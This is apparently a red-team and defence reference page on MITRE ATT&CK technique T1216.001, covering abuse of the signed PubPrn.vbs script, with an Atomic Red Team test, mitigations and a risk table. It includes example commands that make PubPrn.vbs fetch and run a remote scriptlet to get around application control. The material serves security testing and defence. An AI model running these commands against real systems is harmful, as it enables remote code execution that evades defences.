cyberstrikeus T1216.001 PubPrn
Sub-technique of: T1216
High-Level Description
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).
Kill Chain Phase
- Defense Evasion (TA0005)
Platforms: Windows
What to Check
- Identify if PubPrn technique is applicable to target environment
- Check Windows systems for indicators of PubPrn
- Verify mitigations are bypassed or absent (2 known mitigations)
- Assess detection coverage (1 detection strategies)
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: PubPrn.vbs Signed Script Bypass
Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.
Supported Platforms: windows
cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:#{remote_payload}"
Manual Testing
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to PubPrn by examining the target platforms (Windows).
Assess Existing Defenses: Review whether mitigations for T1216.001 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Remediation Guide
M1038 Execution Prevention
Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.
M1040 Behavior Prevention on Endpoint
On Windows 10, update Windows Defender Application Control policies to include rules that block the older, vulnerable versions of PubPrn.
Detection
Detecting Remote Script Proxy Execution via PubPrn.vbs
Risk Assessment
| Finding | Severity | Impact |
|---|---|---|
| PubPrn technique applicable | Medium | Defense Evasion |
CWE Categories
| CWE ID | Title |
|---|---|
| CWE-693 | Protection Mechanism Failure |